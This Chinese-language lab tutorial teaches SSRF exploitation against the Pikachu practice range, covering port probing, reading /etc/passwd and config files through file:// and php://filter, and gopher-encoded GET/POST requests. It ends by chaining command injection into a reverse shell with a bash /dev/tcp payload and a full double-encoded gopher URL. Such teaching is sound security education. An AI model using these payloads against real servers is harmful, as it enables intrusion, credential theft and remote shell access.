目录
三、SSRF-gopher 协议扩展利用-向内网发起 GET/POST 请求
一、SSRF 服务器端请求伪造简介
1、SSRF 服务器端请求伪造简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)通过篡改 HTTP 请求中的资源地址发送给
服务器,服务器没有校验请求的合法性,服务器解析用户传递过来的请求,处理之后返回给用户。
例如:
1. HTTP 请求:www.xuegod.cn/xxx.php?image=http://www.baidu.com/free.jpg
2. 服务器接收到请求之后获取
http://www.baidu.com/free.jpg
图片
3. 服务器获取到图片后将图片返回给用户。
问题产生在第二步,服务器会向第三方站点发送请求并获取资源文件,如果网站对资源文件的地址没有做合法性校验,则用户可以构造任意请求让服务器来执行。
SSRF 常见用途:
1. 内外网的端口和服务扫描
2. 主机本地敏感数据的读取
3. 内外网主机应用程序漏洞的利用
4. 内外网 Web 站点漏洞的利用
SSRF 常见位置:
1. 分享:通过 URL 地址分享网页内容
2. 转码服务
3. 在线翻译
4. 图片加载与下载:通过 URL 地址加载或下载图片
5. 图片、文章收藏功能
6. 未公开的 api 实现以及其他调用 URL 的功能
7. 从 URL 关键字中寻找
常见的 URL 关键字:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
2、pikachu 靶场搭建
[root@xuegod63 ~]# unzip pikachu-master.zip -d /var/www/html/
[root@xuegod63 ~]# vim /var/www/html/pikachu-master/inc/config.inc.php
改:11 define('DBPW', '');
访问 Web:
http://192.168.1.105/pikachu-master/
安装初始化
点击安装/初始化然后返回主页。
二、SSRF 漏洞实践-端口扫描-任意文件读取、
1、SSRF-端口扫描
URL 地址:
http://192.168.1.105/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
分析 URL 地址:
ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
通过 url 参数加载远程的资源信息。这里的诗句是由后面的 info1.php 输出的。
修改 url 远程资源地址为我们想要探测的端口
CentOS7:
http://192.168.1.105/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.1.105:22
注:HTTP 协议探测时则 SSH、Web 等服务可以探测出回显信息,可以尝试其它的协议进行探测。
也可以用其他的协议来测试比如 ftp://
http://192.168.1.105/pikachu-master/vul/ssrf/ssrf_curl.php?url=ftp://192.168.1.105:21
http://192.168.1.105/pikachu-master/vul/ssrf/ssrf_curl.php?url=ftp://192.168.1.105:22
端口开放则一直等待响应,不开放则直接返回。这样我们也可以通过状态来判断端口是否开放。
扩展:dict://协议在探测端口时也比较好用。
2、SSRF-任意文件读取
读取/etc/passwd
http://192.168.1.105/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
读取文件使用 file://+文件路径即可
file_get_content (不支持 https,支持 http,支持 php://内置协议)
读取数据库配置文件:
http://192.168.1.105/pikachu-
master/vul/ssrf/ssrf_fgc.php?file=
php://filter/read=convert.base64-
encode/resource=/var/www/html/pikachu-master/inc/config.inc.php
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in
one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之
前没有机会应用其他过滤器。
convert.base64-encode/resource 转码为 base64 格式,php 文件不能被直接读取,需要经过
base64 编码之后才能被读取。
三、SSRF-gopher 协议扩展利用-向内网发起 GET/POST 请求
1、Gopher 简介
Gopher 在 HTTP 协议前是非常有名的信息查找系统,但是 WWW 万维网出现之后 Gopher 逐渐
没落,但是在 SSRF 漏洞中 Gopher 协议让洞利用更加灵活,利用此协议可以对 ftp,memcache,
mysql,telnet,redis,等服务进行攻击,可以构造发送 GET,POST 请求包。
2、Gopher 语法演示
Gopher 协议语法格式:
gopher://<host>:<port>/<gopher-path>
_
后面接 TCP 数据流
语法实例:(创建侦听)
gopher 访问 4444 端口
3、Gopher 发送 GET 请求
首先我们写一个简单的 GET 请求的页面。
└─# vim /var/www/html/get.php
<?phpecho "Hello ".$_GET["name"]."\n"?>
正常情况我们使用 http 协议发送 get 请求方法。
└─# curl http://192.168.1.103/get.php?name=free
Hello free
构造 gopher 协议的 GET 请求
浏览器访问:
http://192.168.1.103/get.php?name=free
burpsuite 获取 get 请求数据包。
GET 请求我们只需要取出前两行。
GET /get.php?name=free HTTP/1.1
Host: 192.168.1.103
进行 URL 编码:
_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost%3A%20192.168.1.103
%
0D%0A
1. GET 前添加下划线 _ ,我们上面已经提到过第一个字符会被吃掉。
2. 空格以及冒号换行等特殊字符需要转换为 URL 编码,注:
/
不要进行 URL 编码,换行符通过工具
在进行 URL 编码时会被编码成%0A,但是在 HTTP 请求中正确的换行符应该是%0D%0A,所以工具编
码后需要手工替换%0A 为%0D%0A,并且在 HTTP 请求也需要以%0D%0A 来作为结尾。
完整请求:
└─# curl
gopher://192.168.1.103:80/_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost%3A%20192.168.1.103%0D%0A
4、Gopher 发送 POST 请求
创建测试页面
└─# vim /var/www/html/post.php
<?phpecho "Hello ".$_POST["name"]."\n"?>
使用 http 协议发起请求实例:
└─# curl http://192.168.1.103/post.php -d "name=free"
构造 gopher 协议的 POST 请求:
burpsuite 获取 POST 请求数据包。
POST 数据包必须要有的 5 行配置,GET 只需要前两行。
POST /post.php HTTP/1.1
Host: 192.168.1.103
Host: 192.168.1.103
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
name=free
Content-Length 用于描述 HTTP 消息实体的传输长度也就是 POST 传输的内容长度,比如
name=free 字节长度为 9。
Content-Type 用来执行传输内容的类型。
application/x-www-form-urlencoded:HTTP 会将请求参数用 key1=val1&key2=val2 的方
式进行组织,并放到请求实体里面,注意如果是中文或特殊字符如"/"、","、":" 等会自动进行 URL 转
码。不支持文件,一般用于表单提交。
通过 python 脚本进行编码:
└─# vim gopher_encode.py
import urllib.parsereq =\""" POST /post.php HTTP/1.1Host: 192.168.1.103Content-Length: 9Content-Type: application/x-www-form-urlencodedname=free"""#对空格、冒号、换行等特殊符号进行 url 编码xuegod = urllib.parse.quote(req)#将换行符替换为%0D%0Anew = xuegod.replace('%0A','%0D%0A')#result = '_'+urllib.parse.quote(new)#在结果前面添加_gopher 会吃掉第一个字符。result = '_'+new#打印编码后的请求print(result)
注:第一行 POST 在"""后面插入,最后的"""新起一行,HTTP 请求最后需要一个换行。
运行 python 脚本
└─# python3 gopher_encode.py
_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.103%0D%0AContent-Length%3A%209%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aname%3Dfree%0D%0A
拼接完整的请求:
└─# curl
gopher://192.168.1.103:80/
_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.103%0D%0AContent-Length%3A%209%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A
%0D%0A
name%3Dfree%0D%0A
5、通过命令注入反弹 shell
nc 创建侦听
└─# nc -lvp 4444
burpsuite 开启监听
通过命令注入进行反弹 shell
127.0.0.1;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
burpsuite 获取到 POST 请求。
POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.1.105
Host: 192.168.1.105
Content-Length: 93
Content-Type: application/x-www-form-urlencoded
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.100%2F4444+0%3E%261&submit=ping
修改 python 脚本
└─# vim gopher_encode.py
import urllib.parsereq =\"""POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1Host: 192.168.1.105Content-Length: 93Content-Type: application/x-www-form-urlencodedipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.100%2F4444+0%3E%261&submit=ping"""xuegod = urllib.parse.quote(req)new = xuegod.replace('%0A','%0D%0A')#result = '_'+urllib.parse.quote(new)result = '_'+newprint(result)
执行脚本
└─# python3 gopher_encode.py
_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.105%0D%0AContent-Length%3A%2093%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.1.100%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
完整 gopher 请求
http://192.168.1.105/pikachu-
master/vul/ssrf/ssrf_curl.php?url=
gopher://192.168.1.105:80/
_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.105%0D%0AContent-Length%3A%2093%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.1.100%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
二次编码
为什么要 2 次编码?
1. 首先我们发给服务器的时候 URL 地址中不能包含特殊字符,需要第一次编码。先解码%25
2. 服务器接收到我们的 URL 地址之后由 url_exec()解析 URL 地址,此时服务器进行第二次解码。
第二次解码则解码空格以及特殊字符。
点击执行后请求会一直在响应中,因为通过命令执行的方式建立了反弹 shell,shell 终止时请求才会
结束。
这里推荐一个自动生成gopher的工具:
GitHub - tarunkant/Gopherus:该工具生成gopher链接,用于利用SSRF并在各种服务器中获得RCEhttps://github.com/tarunkant/Gopherus
四、SSRF 漏洞检测方法
使用 Burp Collaborator 客户端进行检测。
获得一个域名:z116o3noejsafiwdmrmdvloosfy6myan.oastify.com
访问存在漏洞的页面:
http://192.168.1.105/pikachu-
master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-
master/vul/ssrf/ssrf_info/info1.php
把请求发送至 Repeater
URL 地址 修改为
z116o3noejsafiwdmrmdvloosfy6myan.oastify.com
然后点发送
Burp Collaborator 客户端点击现在轮询进行验证:
只要有 DNS 解析记录则表示目标服务器向该网址发起请求。即存在 SSRF 漏洞。
在线检测平台:
http://www.dnslog.cn/
使用方法与 Burp Collaborator 客户端一致